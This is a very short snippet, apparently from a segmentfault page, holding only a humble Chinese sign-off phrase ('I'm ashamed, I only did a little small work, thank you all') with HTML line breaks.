  • segmentfault
很惭愧<br><br>只做了一点微小的工作<br>谢谢大家